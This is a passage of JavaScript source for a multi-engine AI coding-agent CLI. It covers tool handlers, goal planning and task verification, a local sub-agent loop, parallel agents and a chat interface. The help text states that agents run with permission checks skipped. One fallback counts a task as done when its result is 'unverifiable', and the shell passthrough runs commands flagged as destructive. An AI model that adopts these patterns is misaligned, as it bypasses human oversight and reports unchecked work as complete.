    try { const r = _cp.execSync(process.platform === "win32" ? "tasklist" : "ps aux", { encoding: "utf8", maxBuffer: 4e6 }); let lines = r.split("\n"); if (a.filter) lines = [lines[0]].concat(lines.slice(1).filter((l) => l.toLowerCase().includes(String(a.filter).toLowerCase()))); return { processes: lines.slice(0, 60).join("\n") }; } catch (e) { return { error: e.message }; }
  }
  if (name === "make_dir" || name === "mkdir") { try { fs.mkdirSync(rp(a.path), { recursive: true }); return { ok: true }; } catch (e) { return { error: e.message }; } }
  if (name === "move" || name === "rename" || name === "move_file") { try { fs.renameSync(rp(a.from || a.src), rp(a.to || a.dest)); return { ok: true }; } catch (e) { return { error: e.message }; } }
  if (name === "copy" || name === "copy_file") { try { fs.copyFileSync(rp(a.from || a.src), rp(a.to || a.dest)); return { ok: true }; } catch (e) { return { error: e.message }; } }
  if (name === "delete" || name === "delete_file" || name === "rm") { try { fs.rmSync(rp(a.path), { recursive: !!a.recursive, force: true }); return { ok: true }; } catch (e) { return { error: e.message }; } }
  if (name === "web_search" || name === "search_web" || name === "google") {
    const q = a.query || a.q || a.pattern; if (!q) return { error: "web_search needs a query" };
    return await new Promise((resolve) => {
      try {
        const https = require("https");
        const req = https.request({ host: "html.duckduckgo.com", path: "/html/?q=" + encodeURIComponent(q), method: "GET", headers: { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) Nexus", "Accept": "text/html" }, timeout: 15000 }, (res) => {
          let d = ""; res.on("data", (c) => { if (d.length < 400000) d += c; });
          res.on("end", () => {
            const strip = (s) => s.replace(/<[^>]+>/g, "").replace(/&amp;/g, "&").replace(/&#x27;/g, "'").replace(/&#39;/g, "'").replace(/&quot;/g, '"').replace(/&lt;/g, "<").replace(/&gt;/g, ">").replace(/\s+/g, " ").trim();
            const deref = (u) => { const mm = /[?&]uddg=([^&]+)/.exec(u); return mm ? decodeURIComponent(mm[1]) : (u.startsWith("//") ? "https:" + u : u); };
            const results = []; let m; const re = /<a[^>]+class="result__a"[^>]+href="([^"]+)"[^>]*>([\s\S]*?)<\/a>/g;
            while ((m = re.exec(d)) && results.length < 6) results.push({ title: strip(m[2]), url: deref(m[1]) });
            const sn = []; let s2; const sre = /class="result__snippet"[^>]*>([\s\S]*?)<\/a>/g;
            while ((s2 = sre.exec(d)) && sn.length < 6) sn.push(strip(s2[1]).slice(0, 220));
            results.forEach((r, i) => { if (sn[i]) r.snippet = sn[i]; });
            resolve(results.length ? { query: q, results } : { query: q, results: [], note: "no parseable results — try http_fetch on a specific URL" });
          });
        });
        req.on("timeout", () => { req.destroy(); resolve({ error: "search timeout" }); });
        req.on("error", (e) => resolve({ error: e.message })); req.end();
      } catch (e) { resolve({ error: e.message }); }
    });
  }
  if (name === "todo_write" || name === "todos" || name === "todo_list" || name === "write_todos") {
    const items = Array.isArray(a.todos) ? a.todos : Array.isArray(a.items) ? a.items : Array.isArray(a.tasks) ? a.tasks : [];
    AGENT_TODOS.length = 0;
    for (const t of items) {
      const content = typeof t === "string" ? t : (t.content || t.task || t.title || t.text || "");
      const st = typeof t === "object" ? String(t.status || t.state || "pending") : "pending";
      if (content) AGENT_TODOS.push({ content: String(content).slice(0, 200), status: /done|complete|finish/i.test(st) ? "done" : /prog|doing|active|current/i.test(st) ? "in_progress" : "pending" });
    }
    try { fs.mkdirSync(rp(".nexus"), { recursive: true }); fs.writeFileSync(rp(".nexus/todos.json"), JSON.stringify(AGENT_TODOS)); } catch (_) {}
    const rendered = AGENT_TODOS.map((t) => (t.status === "done" ? "[x] " : t.status === "in_progress" ? "[~] " : "[ ] ") + t.content).join("\n");
    return { ok: true, count: AGENT_TODOS.length, done: AGENT_TODOS.filter((t) => t.status === "done").length, todos: AGENT_TODOS, rendered };
  }
  if (name === "todo_read" || name === "read_todos" || name === "get_todos") return { todos: AGENT_TODOS, count: AGENT_TODOS.length };
  // Agentic browser: attach to the user's already-open (debuggable) browser and see/act on their
  // real tabs, instead of launching a fresh one. Talks CDP over a zero-dep WebSocket (lib/nexus/browser.js).
  if (String(name).startsWith("browser_")) { const r = await require("./lib/nexus/browser").browserTool(name, a, cwd); if (r !== null) return r; }
  return null;
}
// Compact large tool output (keep head+tail, drop the middle) to save context tokens.
// ---------- cost-aware model tiering for /cowork ----------
// Rough Claude price table ($ per 1M tokens: input, output). Used only to ESTIMATE
// whether delegating a task to a cheaper model saves more than the delegation overhead.
const { priceOf, isMechanical, shouldDelegate } = require("./lib/nexus/pricing"); // cost model (lib/pricing.js)
// Darknode preflight — classify a shell command's destructive intent (inspired by Glitch's
// Darknode guard: names the matched rule, covers pipe-to-shell + fork bombs, 3 levels).
const { oneline, extractJson } = require("./lib/cli/text"); // pure text helpers (lib/text.js)
async function planGoal(engine, model, goal, memory) {
  const prompt = "Break the GOAL into 5-15 concrete verifiable tasks. Return ONLY a JSON array of short task strings.\n\nGOAL: " + goal + (memory ? "\nCONTEXT:\n" + memory : "");
  let text;
  if (engine === "ollama") text = await ollamaChat(model, [{ role: "user", content: prompt }], { type: "array", items: { type: "string" } });
  else text = (await runEngineTask(engine, prompt, process.cwd(), false)).output;
  let tasks = extractJson(text, null);
  if (!Array.isArray(tasks) || !tasks.length) tasks = [goal];
  return tasks.slice(0, 40).map((t, i) => ({ id: i + 1, title: String(t).slice(0, 300), done: false, failed: false, tries: 0 }));
}
async function verifyTask(engine, model, goal, task, res) {
  if (engine !== "ollama") { const refused = /\b(could ?n['’]?t|could not|unable to|failed to complete|can['’]?t complete|cannot complete|was not able to|were unable to|i (?:can['’]?t|cannot))\b/i.test((res.output || "").slice(-1200)); return { done: res.ok && !refused, reason: !res.ok ? "agent exited non-zero" : (refused ? "agent reported it could not complete the task" : "completed") }; }
  const prompt = "Given the GOAL, a TASK, and the AGENT OUTPUT, decide if the task is genuinely complete. Return ONLY JSON {\"done\":true|false,\"reason\":\"...\"}.\nGOAL: " + goal + "\nTASK: " + task + "\nOUTPUT (truncated):\n" + String(res.output || "").slice(-2500);
  const v = extractJson(await ollamaChat(model, [{ role: "user", content: prompt }], { type: "object", properties: { done: { type: "boolean" }, reason: { type: "string" } }, required: ["done"] }), null);
  return (v && typeof v.done === "boolean") ? { done: v.done, reason: v.reason || "" } : { done: true, reason: "unverifiable" };
}
// Compact single-task tool loop for the local Ollama engine.
async function ollamaExec(model, task, ctx, cwd, signal) {
  const fs = require("fs"), path = require("path");
  const messages = [{ role: "system", content: "Nexus sub-agent. Complete ONLY the TASK using tools, one action/step, then final. Tools: read_file{path} write_file{path,content} edit_file{path,find,replace} list_dir{path?} run_command{command}. JSON: {\"thought\",\"action\":\"tool\",\"tool\",\"args\"} or {\"thought\",\"action\":\"final\",\"final\"}. Minimize calls; chain commands.\n" + ctx }, { role: "user", content: "TASK: " + task }];
  let didTool = false, log = "";
  for (let step = 1; step <= 15; step++) {
    if (signal && signal.aborted) return { ok: false, output: log + "\n(interrupted)" };
    let raw; try { raw = await ollamaChat(model, messages, CODER_SCHEMA, signal); } catch (e) { return { ok: signal && signal.aborted ? false : false, output: (signal && signal.aborted) ? log + "\n(interrupted)" : "model error: " + e.message }; }
    let o; try { o = JSON.parse(raw); } catch (_) { messages.push({ role: "tool", content: "Reply with valid schema JSON." }); continue; }
    const compact = { action: o.action }; if (o.tool) compact.tool = o.tool; if (o.args) compact.args = o.args; if (o.final) compact.final = o.final;
    messages.push({ role: "assistant", content: JSON.stringify(compact) });
    if (o.thought) console.log("    " + gray("💭 " + (o.thought || "").slice(0, 120)));
    if (o.action === "final") { if (!didTool && !isChitchat(task) && step < 3) { messages.push({ role: "tool", content: "Do the real work first." }); continue; } return { ok: true, output: log + "\n" + (o.final || "") }; }
    const { name, a } = normalizeToolCall(o); let result;
    try {
      if (name === "read_file") result = fs.readFileSync(path.resolve(cwd, a.path), "utf8").slice(0, 14000);
      else if (name === "list_dir") result = fs.readdirSync(path.resolve(cwd, a.path || "."), { withFileTypes: true }).map((e) => e.isDirectory() ? e.name + "/" : e.name).slice(0, 200).join("\n");
      else if (name === "write_file") { const fp = path.resolve(cwd, a.path); fs.mkdirSync(path.dirname(fp), { recursive: true }); fs.writeFileSync(fp, a.content == null ? "" : a.content); result = "ok"; log += "\nwrote " + a.path; console.log("    " + green("✏️  write ") + gray(a.path)); }
      else if (name === "edit_file") { const fp = path.resolve(cwd, a.path); const t = fs.readFileSync(fp, "utf8"); if (!t.includes(a.find)) result = "error: find text not in file"; else { const occ = t.split(a.find).length - 1; if (occ > 1 && !a.replace_all) result = "error: matches " + occ + " locations — add more context"; else { fs.writeFileSync(fp, a.replace_all ? t.split(a.find).join(a.replace == null ? "" : a.replace) : t.replace(a.find, a.replace == null ? "" : a.replace)); result = "ok"; log += "\nedited " + a.path; console.log("    " + green("✏️  edit ") + gray(a.path)); } } }
      else if (name === "run_command") { const dg = classifyDanger(a.command); if (dg.level === "block") { result = "blocked: " + dg.why; console.log("    " + red("🚫 blocked: ") + dg.why); } else { console.log("    " + mag("⚡ $ ") + a.command.slice(0, 100)); const r = await coderShell(a.command, cwd); result = (r.code ? "exit " + r.code + "\n" : "") + compactOutput(r.output, lean ? 2000 : 4000); log += "\n$ " + a.command + "\n" + r.output.slice(0, lean ? 600 : 1200); } }
      else { const dr = await deviceTool(name, a, cwd); result = dr !== null ? (typeof dr === "object" ? JSON.stringify(dr) : String(dr)) : "error: unknown tool " + name; }
    } catch (e) { result = "error: " + e.message; }
    if (!(typeof result === "string" && result.startsWith("error: unknown tool"))) didTool = true;
    messages.push({ role: "tool", content: String(result).slice(0, 8000) });
  }
  return { ok: true, output: log + "\n(step limit)" };
}
function parseUntil(s) {
  const now = new Date(); let m;
  if ((m = /^(\d{1,2}):(\d{2})$/.exec(s))) { const d = new Date(now); d.setHours(+m[1], +m[2], 0, 0); if (d <= now) d.setDate(d.getDate() + 1); return d.getTime(); }
  if ((m = /^(\d+)h$/.exec(s))) return now.getTime() + (+m[1]) * 3600000;
  if ((m = /^(\d+)m$/.exec(s))) return now.getTime() + (+m[1]) * 60000;
  return 0;
}
function nexusRunHelp() {
  banner(); console.log("  " + bold("Nexus run") + " — autonomous, multi-level goal execution\n");
  console.log("  " + bold("USAGE") + "\n    darknode nexus run \"<goal>\" [options]\n    darknode nexus overnight \"<goal>\"   (alias for run --overnight)\n");
  console.log("  " + bold("OPTIONS"));
  console.log("    -e, --engine <name>   claude (default) | hybrid (local does the easy work, Claude the hard — cheapest) | ollama | opencode");
  console.log("    -n, --overnight       keep working the plan with retries until done or --until");
  console.log("        --until <t>       stop at HH:MM, or after 6h / 90m");
  console.log("        --resume          continue the last run in this folder (.nexus/run.json)");
  console.log("    -m, --model <name>    ollama model (ollama engine only)");
  console.log("\n  " + gray("Plan, progress and report live in ./.nexus/ (run.json, report.md, memory.md).") + "\n  " + gray("claude/opencode run with full autonomy (--dangerously-skip-permissions) — use in a trusted repo.") + "\n");
}
// `nexus agents "task1" "task2" …` — run independent tasks in parallel across the current engine.
async function nexusAgents(argv) {
  const fs = require("fs"), path = require("path");
  const arr = (Array.isArray(argv) ? argv.slice() : [String(argv || "")]);
  let engine = ""; const tasks = [];
  for (let i = 0; i < arr.length; i++) { if (arr[i] === "-e" || arr[i] === "--engine") engine = arr[++i] || ""; else tasks.push(arr[i]); }
  const cwd = process.cwd();
  if (!tasks.length) { banner(); console.log("  " + bold("Nexus agents") + " — run independent tasks in parallel\n\n  " + gray("usage: ") + cyan("darknode nexus agents \"add tests\" \"write docs\" \"fix lint\"") + gray("  [-e claude|gemini|codex|opencode|aider|ollama]") + "\n"); return; }
  let cfg = {}; try { cfg = JSON.parse(fs.readFileSync(path.join(cwd, ".nexus", "config.json"), "utf8")); } catch (_) {}
  engine = engine || cfg.engine || (hasBin("claude") ? "claude" : "ollama");
  let model = cfg.model || process.env.DARKNODE_MODEL || "";
  if (engine === "ollama" && !model) { const ms = await ollamaTags(); model = pickCoderModel(ms); }
  banner(); console.log("  " + bold(tasks.length + " agents") + gray("  ·  engine " + engine + (model ? " (" + model + ")" : "")) + "\n");
  tasks.forEach((t, i) => console.log("  " + cyan("agent " + (i + 1)) + gray("  " + t)));
  console.log("");
  const outs = await runSubagents(engine, tasks, cwd, model, (i, phase) => { if (phase === "run") console.log("  " + yellow("> agent " + (i + 1) + " started")); else console.log("  " + green("● agent " + (i + 1) + " done")); });
  console.log("");
  outs.forEach((o, i) => { console.log("  " + bold(cyan("── agent " + (i + 1) + " ── ")) + gray(tasks[i])); console.log(gray("  " + String(o || "(no output)").replace(/\n/g, "\n  ")) + "\n"); });
}
async function nexusRun(argv) {
  const fs = require("fs"), path = require("path");
  const arr = Array.isArray(argv) ? argv.slice() : String(argv || "").split(/\s+/).filter(Boolean);
  let enginePref = "", overnight = false, resume = false, until = "", modelOverride = "", goalParts = [];
  for (let i = 0; i < arr.length; i++) { const a = arr[i];
    if (a === "--engine" || a === "-e") enginePref = arr[++i] || "";
    else if (a === "--overnight" || a === "-n") overnight = true;
    else if (a === "--resume") resume = true;
    else if (a === "--until") until = arr[++i] || "";
    else if (a === "-m" || a === "--model") modelOverride = arr[++i] || "";
    else if (a === "-h" || a === "--help") return nexusRunHelp();
    else goalParts.push(a);
  }
  const cwd = process.cwd(), NEXUS = path.join(cwd, ".nexus"); fs.mkdirSync(NEXUS, { recursive: true }); secureNexus(cwd);
  const stateFile = path.join(NEXUS, "run.json"), reportFile = path.join(NEXUS, "report.md"), memFile = path.join(NEXUS, "memory.md");
  const memory = (() => { try { return fs.readFileSync(memFile, "utf8"); } catch (_) { return ""; } })();
  const avail = {}; for (const e of ENGINE_ORDER) avail[e] = engineAvail(e);
  let engine = enginePref || (avail.claude ? "claude" : "ollama");
  if (engine !== "hybrid" && !avail[engine]) { console.log("  " + red("engine '" + engine + "' unavailable; using ollama")); engine = "ollama"; }
  if (engine === "hybrid" && !avail.claude) { console.log("  " + red("hybrid needs Claude Code installed; using ollama")); engine = "ollama"; }
  let model = null;
  if (engine === "ollama" || engine === "hybrid") {
    const ms = await ollamaTags();
    if (!ms.length) { if (engine === "hybrid") { console.log("  " + gray("no local model; hybrid falling back to Claude only")); engine = "claude"; } else { console.log("  " + red("no local model; install Ollama or use --engine claude")); return; } }
    else model = modelOverride || process.env.DARKNODE_MODEL || pickCoderModel(ms);
  }
  let state;
  if (resume && fs.existsSync(stateFile)) { try { state = JSON.parse(fs.readFileSync(stateFile, "utf8")); } catch (_) { console.log("  " + red("can't resume — the saved run state is unreadable")); return; } banner(); h1("Nexus — resuming run"); }
  else {
    const goal = goalParts.join(" ").trim();
    if (!goal) { console.log("  " + red("provide a goal:  darknode nexus run \"build X\"")); return; }
    // A greeting / trivial message isn't a goal to decompose — just answer, don't plan or run tools.
    if (isChitchat(goal)) {
      banner(); let reply = "";
      try {
        if (engine === "ollama" || engine === "hybrid") { if (model) reply = await ollamaChat(model, [{ role: "system", content: "Nexus terminal assistant. Reply briefly. No tools." }, { role: "user", content: goal }]); }
        else { reply = (await runEngineTask(engine, goal, cwd, false)).output; }
      } catch (_) {}
      console.log("  " + bold("nexus") + "  " + ((reply || "").trim() || "Hi! I'm Nexus. Give me a goal — e.g. `darknode nexus run \"add tests to server.js\"` — and I'll plan and do it.") + "\n");
      return;
    }
    banner(); h1("Nexus — planning");
    console.log("  " + gray("engine ") + mag(engine) + (model ? gray("  model " + model) : "") + gray("  workdir " + cwd));
    console.log("  " + gray("decomposing the goal...\n"));
    const tasks = await planGoal(engine === "hybrid" ? "claude" : engine, model, goal, memory);
    state = { goal, engine, model, tasks, started: Date.now() };
    console.log("  " + bold("Plan (" + tasks.length + " tasks):"));
    tasks.forEach((t) => console.log("    " + gray(t.id + ". ") + t.title));
    console.log("");
    fs.writeFileSync(stateFile, JSON.stringify(state, null, 2));
  }
  const save = () => { try { fs.writeFileSync(stateFile, JSON.stringify(state, null, 2)); } catch (_) {} };
  const deadline = until ? parseUntil(until) : 0, maxTries = overnight ? 3 : 1;
  while (true) {
    const t = state.tasks.find((x) => !x.done && !x.failed);
    if (!t) break;
    if (deadline && Date.now() > deadline) { console.log("  " + gray("time limit reached; pausing. Resume with:  darknode nexus run --resume")); break; }
    console.log("  " + cyan("[" + t.id + "/" + state.tasks.length + "] ") + bold(t.title)); t.tries++;
    const ctx = "GOAL: " + state.goal + "\nDone so far: " + (state.tasks.filter((x) => x.done).map((x) => x.title).join("; ") || "(none)") + (memory ? "\nPROJECT MEMORY:\n" + memory : "");
    const taskPrompt = "Work in the current project directory. " + ctx + "\n\nComplete ONLY this task, then briefly report what you did:\nTASK: " + t.title;
    let res, usedEngine = engine;
    if (engine === "ollama") { res = await ollamaExec(model, t.title, ctx, cwd); usedEngine = "ollama"; }
    else if (engine === "hybrid") {
      // Cost-saver: do the work on the free local model first; only spend Claude if it can't finish.
      console.log("    " + gray("local model first…"));
      res = await ollamaExec(model, t.title, ctx, cwd); usedEngine = "ollama";
      const v = await verifyTask("ollama", model, state.goal, t.title, res);
      if (!v.done) { console.log("    " + gray("escalating to claude…")); res = await runEngineTask("claude", taskPrompt, cwd, true); usedEngine = "claude"; }
    }
    else { res = await runEngineTask(engine, taskPrompt, cwd, true); usedEngine = engine; }
    const verdict = await verifyTask(usedEngine, model, state.goal, t.title, res);
    if (verdict.done) { t.done = true; t.by = usedEngine; console.log("  " + green("done ") + gray(t.title) + gray("  [" + usedEngine + "]")); }
    else if (t.tries >= maxTries) { t.failed = true; console.log("  " + red("gave up ") + gray(t.title + " — " + verdict.reason)); }
    else console.log("  " + gray("not verified (" + verdict.reason + "); retrying"));
    save();
  }
  const okN = state.tasks.filter((t) => t.done).length, failN = state.tasks.filter((t) => t.failed).length;
  try { fs.writeFileSync(reportFile, "# Nexus run report\n\n- Goal: " + state.goal + "\n- Engine: " + engine + "\n- Completed: " + okN + "/" + state.tasks.length + (failN ? " (" + failN + " failed)" : "") + "\n\n## Tasks\n" + state.tasks.map((t) => "- [" + (t.done ? "x" : " ") + "] " + t.title + (t.failed ? "  (failed)" : "")).join("\n") + "\n"); } catch (_) {}
  const localN = state.tasks.filter((t) => t.by === "ollama").length, claudeN = state.tasks.filter((t) => t.by === "claude").length;
  console.log("\n  " + green("run complete: ") + okN + "/" + state.tasks.length + " tasks done" + (failN ? gray(", " + failN + " failed") : ""));
  if (engine === "hybrid") console.log("  " + gray("engine mix: ") + localN + gray(" done locally (free) · ") + claudeN + gray(" needed Claude — that's ") + Math.round(100 * localN / Math.max(1, localN + claudeN)) + gray("% off your Claude usage"));
  console.log("  " + gray("report: .nexus/report.md") + "\n");
}

// Full-screen chat TUI (alt-screen, scrolling transcript, fixed bottom input box). No deps.
// Whimsical status verbs — Claude Code's set PLUS Nexus-originals (marked below).
const FORGE = ["Accomplishing", "Actioning", "Actualizing", "Baking", "Booping", "Brewing", "Calculating", "Cerebrating", "Channelling", "Churning", "Coalescing", "Cogitating", "Combobulating", "Computing", "Concocting", "Conjuring", "Considering", "Cooking", "Crafting", "Creating", "Crunching", "Deliberating", "Determining", "Discombobulating", "Divining", "Doing", "Effecting", "Elucidating", "Enchanting", "Envisioning", "Finagling", "Flibbertigibbeting", "Forging", "Forming", "Frolicking", "Generating", "Germinating", "Hatching", "Herding", "Honking", "Hustling", "Ideating", "Imagining", "Incubating", "Inferring", "Jiving", "Kneading", "Manifesting", "Marinating", "Meandering", "Moseying", "Mulling", "Mustering", "Musing", "Noodling", "Percolating", "Perusing", "Philosophising", "Pondering", "Pontificating", "Processing", "Puttering", "Puzzling", "Reticulating", "Ruminating", "Scheming", "Schlepping", "Shimmying", "Shucking", "Simmering", "Smooshing", "Spelunking", "Spinning", "Stewing", "Sussing", "Synthesizing", "Thinking", "Tinkering", "Transmuting", "Unfurling", "Vibing", "Wandering", "Whirring", "Wibbling", "Wizarding", "Working", "Wrangling",
  // Nexus-original verbs (built from scratch):
  "Nexusing", "Nebulizing", "Weaving", "Orchestrating", "Constellating", "Tessellating", "Kindling", "Untangling", "Refracting", "Distilling", "Alchemizing", "Threading", "Warping", "Grokking", "Percussing", "Lucubrating", "Quantizing", "Foraging", "Splicing", "Braiding", "Zhuzhing", "Effervescing", "Crystallizing", "Cascading"];
// Feature tips shown while a turn is running. NEXUS_TIPS are engine-agnostic (Nexus's own
// features); ENGINE_TIPS list ONLY what that specific AI actually offers — never mixed.
const NEXUS_TIPS = [
  "/undo reverts the last turn's file changes — a checkpoint is taken before each turn",
  "drop a file into your message with @path (e.g. fix @src/app.js)",
  "!cmd runs a shell command inline · #note saves a memory to .nexus/NEXUS.md",
  "scroll back with the mouse wheel or PgUp/PgDn · End jumps to the latest",
  "shift+tab cycles mode · ctrl+o expands tool detail · ctrl+c stops a turn",
  "/budget 5 caps your spend · /compact shrinks the context when it fills up",
  "type / to see every command · /engine switches which AI runs",
];
const { ENGINES, ENGINE_ORDER, engineCap, ENGINE_TIPS } = require("./lib/nexus/engines"); // multi-AI registry (lib/engines.js)
const engineAvail = (e) => { const m = ENGINES[e]; if (!m) return false; return m.kind === "local" ? true : hasBin(m.bin); }; // stays here — needs hasBin
const { geminiParse, codexParse } = require("./lib/nexus/parsers"); // structured-output parsers (lib/parsers.js)
// Use the local Codex CLI's own default model and model list (~/.codex) instead of the static catalog,
// and note whether it is signed in with a ChatGPT plan (billed by the plan, not per token).
const CODEX_LOCAL = require("./lib/nexus/codex-local").codexLocal();
if (CODEX_LOCAL.model) ENGINES.codex.model = CODEX_LOCAL.model;
if (CODEX_LOCAL.models.length) ENGINES.codex.models = CODEX_LOCAL.models;
const onPlan = (e) => (e === "claude" && !process.env.ANTHROPIC_API_KEY) || (e === "codex" && CODEX_LOCAL.authMode === "chatgpt"); // flat plan, not per-token billing
function nexusTui(engine, cwd, nexusMd, autoResume) {
  return new Promise((resolve) => {
    const out = process.stdout, ESC = "\x1b";
    const cols = () => out.columns || 80, rows = () => out.rows || 24;
    const PAID = {}, CTXW = {}; for (const e of ENGINE_ORDER) { PAID[e] = ENGINES[e].paid; CTXW[e] = ENGINES[e].ctx; } // derived from the registry — never drifts
    const transcript = [{ role: "art" }, { role: "system", text: "AI coding agent  ·  " + engine + "  ·  " + cwd + "\ntype a message  ·  / for commands  ·  @file / @image.png  ·  !cmd shell  ·  #note memory" }];
    const sess = { model: engine, ctxWindow: CTXW[engine] || 200000, ctxUsed: 0, inTok: 0, outTok: 0, cost: 0, liveOut: 0 };
    const ident = resolveOperator({ cwd }); // operator/team for chargeback attribution + audit provenance
    const oMsgs = nexusMd ? [{ role: "system", content: "Nexus coding assistant.\n" + nexusMd }] : [{ role: "system", content: "Nexus coding assistant." }];
    let input = "", curPos = 0, busy = false, cont = false, busyStart = 0, busyWord = "", tick = null;
    // Carried across a compaction of the claude engine. Claude's context lives
    // server-side and is resumed with --continue; to actually shrink it we must
    // DROP --continue (cont=false) and re-seed the next prompt with a summary,
    // or the next turn silently resumes the whole pre-compaction conversation.
    // The old code pruned only the local transcript and left --continue on, so
    // compaction did nothing for claude and a chat grew unbounded (one session
    // reached 726 turns / 794K context / one context that never reset).
    let carryNote = "";
    let expanded = false, mode = 1, runningShells = 0, activeAgents = 0, scroll = 0, menuSel = 0, mouseOn = true, hack = false; // mode: 0 normal, 1 auto-accept, 2 plan; scroll = lines up from bottom; menuSel = highlighted slash-menu row; mouseOn = capture the mouse (wheel scroll) vs. release it so the terminal can select/copy text
    let gitBranch = ""; // cached "branch" (+ "*" when the tree is dirty), shown in the status bar
    const refreshGit = async () => { try { const b = await sh(["rev-parse", "--abbrev-ref", "HEAD"]); if (b.err) { gitBranch = ""; return; } const st = await sh(["status", "--porcelain"]); const next = (b.stdout || "").trim() + ((st.stdout || "").trim() ? "*" : ""); if (next !== gitBranch) { gitBranch = next; try { render(); } catch (_) {} } } catch (_) { gitBranch = ""; } };
    const MODES = [{ k: "normal", c: gray }, { k: "auto-accept", c: green }, { k: "plan", c: cyan }];
    const compact = { on: false, f: 0, iv: null };
    const history = []; let hIdx = -1;
    let ctl = null, costCap = 2, rate = null, warned50 = false, notify = false, redact = false, offline = false, guard = "enforce", lean = false, effort = "", fallback = "", style = "default";
    const READONLY_TOOLS = ["Write", "Edit", "MultiEdit", "NotebookEdit", "Bash"]; // disallowed to enforce read-only (plan mode / /bench)
    const impact = { localTurns: 0, cloudTurns: 0, localTok: 0, cloudInTok: 0, cloudOutTok: 0, cloudCost: 0, ctxSavedTok: 0, coworkSaved: 0, delegated: 0, cachedHits: 0, cachedSaved: 0, squeezeTok: 0 }; // Impact Receipt tallies
    let cacheOn = true; // response cache: serve exact-repeat read-only answers for free
    let cowork = { on: false, strong: "", weak: "", weakKind: "claude" }; // strong codes, weak does cheap work; weakKind: claude|ollama(local, free)
    const auxModel = () => (cowork.on && cowork.weakKind === "claude" && engine === "claude") ? cowork.weak : undefined; // weak CLAUDE model for aux calls
    // run a cheap job on the weak worker — a cheaper Claude model OR a free local Ollama model (ctl is the current turn's controller)
    const weakTask = async (prompt) => { if (cowork.weakKind === "ollama") { const m = cowork.weak || pickCoderModel(await ollamaTags()); return (await ollamaExec(m, prompt, "", cwd, aSignal(ctl))).output; } return (await runEngineTask("claude", prompt, cwd, true, false, null, ctl, cowork.weak)).output; };
    const weakChat = async (prompt) => { if (cowork.weakKind === "ollama") { const m = cowork.weak || pickCoderModel(await ollamaTags()); return await ollamaChat(m, [{ role: "user", content: prompt }], undefined, aSignal(ctl)); } return (await runEngineTask("claude", prompt, cwd, false, false, null, ctl, cowork.weak)).output; };
    const wantWeak = (text) => cowork.on && engine === "claude" && isMechanical(text) && (cowork.weakKind === "ollama" || shouldDelegate(Math.ceil(text.length / 4) + 800, (Math.ceil(text.length / 4) + 800) * 4, cowork.strong, cowork.weak)); // local weak is free → always delegate mechanical; claude weak → only when it pays
    const checkpoints = [], redoStack = [], pinned = new Set();       // { tree, label, ts }; pinned = sticky context files
    // interrupt controller: .stopped is polled by loops; .kids are killers (child procs / aborts) fired on ctrl+c
    const makeCtl = () => ({ stopped: false, kids: [], kill() { this.stopped = true; for (const k of this.kids.splice(0)) { try { k(); } catch (_) {} } } });
    const aSignal = (c) => { const ac = new AbortController(); if (c && c.kids) c.kids.push(() => { try { ac.abort(); } catch (_) {} }); return ac.signal; };
    const fs = require("fs"), path = require("path");
    // ---- Nexus intelligence modules (darknode-ai, security-rag, learning-engine) ----
    let nexusAI = null, secRAG = null;
    const NEXUS_LIB = path.join(__dirname, "..", "nexus", "src");
    try {
      const { SecurityRAG } = require(path.join(NEXUS_LIB, "security-rag"));
      secRAG = new SecurityRAG(); secRAG.loadBuiltins(); try { secRAG.load(cwd); } catch (_) {}
    } catch (_) {}
    let learnMod = null;
    try { learnMod = require(path.join(NEXUS_LIB, "learning-engine")); } catch (_) {}
    const nexusAugment = (query, base) => {
      let p = base;
      if (learnMod) try { p = learnMod.augmentWithLearning(cwd, query, p); } catch (_) {}
      if (secRAG && /secur|vuln|owasp|cve|exploit|inject|xss|csrf|auth|perm|priv|pentest|ctf|attack|threat|hack|scan|port|nmap/i.test(query)) {
        try { const ctx = secRAG.retrieve(query, 3); if (ctx.length) p += "\n\n[Security knowledge]\n" + ctx.map((c) => c.content).join("\n---\n").slice(0, 1500); } catch (_) {}
      }
      return p;
    };
    const nexusLearn = (query, answer) => { if (learnMod) try { learnMod.learnFromInteraction(cwd, query, answer, {}); } catch (_) {} };
    // @path inlines a file's contents into the prompt sent to the engine (display keeps the @mention)
    const inlineAts = (t) => t.replace(/(^|\s)@(\S+)/g, (m, pre, f) => { try { const c = fs.readFileSync(path.resolve(cwd, f), "utf8"); return pre + "\n\n--- " + f + " ---\n" + c.slice(0, 6000) + "\n--- end " + f + " ---\n"; } catch (_) { return m; } });
    // !cmd runs a shell command directly (Claude-Code-style passthrough); output shown inline
    const runBang = (c) => { const dg = classifyDanger(c); if (dg.level !== "ok" && guard !== "off") transcript.push({ role: "system", text: "Darknode: this looks destructive (" + dg.why + ") — running it because you typed it directly" }); const blk = { role: "system", text: "$ " + c + "\nrunning…" }; transcript.push(blk); busy = true; ctl = makeCtl(); scroll = 0; render(); coderShell(c, cwd).then((r) => { const o = (r.output || "").replace(/[ \t\r\n]+$/, ""); blk.text = "$ " + c + "\n" + (o || "(no output)") + (r.code ? "\n[exit " + r.code + "]" : ""); busy = false; ctl = null; render(); }).catch((e) => { blk.text = "$ " + c + "\nerror: " + (e && e.message || e); busy = false; ctl = null; render(); }); };
    // #note appends a durable memory to .nexus/NEXUS.md
    const addMemory = (line) => { try { const dir = path.join(cwd, ".nexus"); fs.mkdirSync(dir, { recursive: true }); const md = path.join(dir, "NEXUS.md"); let c = ""; try { c = fs.readFileSync(md, "utf8"); } catch (_) {} if (!/\n##\s*Notes/.test(c)) c += (c && !c.endsWith("\n") ? "\n" : "") + "\n## Notes\n"; c += "- " + line + "\n"; fs.writeFileSync(md, c); transcript.push({ role: "system", text: "remembered → .nexus/NEXUS.md: " + line }); } catch (e) { transcript.push({ role: "system", text: "could not save note: " + e.message }); } };
    // ---- ansi-aware width helpers ----
    const stripA = (s) => String(s).replace(/\x1b\[[0-9;]*m/g, "");
    const clip = (s, n) => { if (n <= 0) return ""; let o = "", v = 0, hasColor = false; for (const part of String(s).split(/(\x1b\[[0-9;]*m)/)) { if (/^\x1b/.test(part)) { o += part; hasColor = true; continue; } for (const ch of part) { if (v >= n) return o + (hasColor ? "\x1b[0m" : ""); o += ch; v++; } } return o; };
    const fmtK = (n) => n >= 100000 ? (n / 1000).toFixed(0) + "k" : n >= 1000 ? (n / 1000).toFixed(1) + "k" : "" + (n | 0);
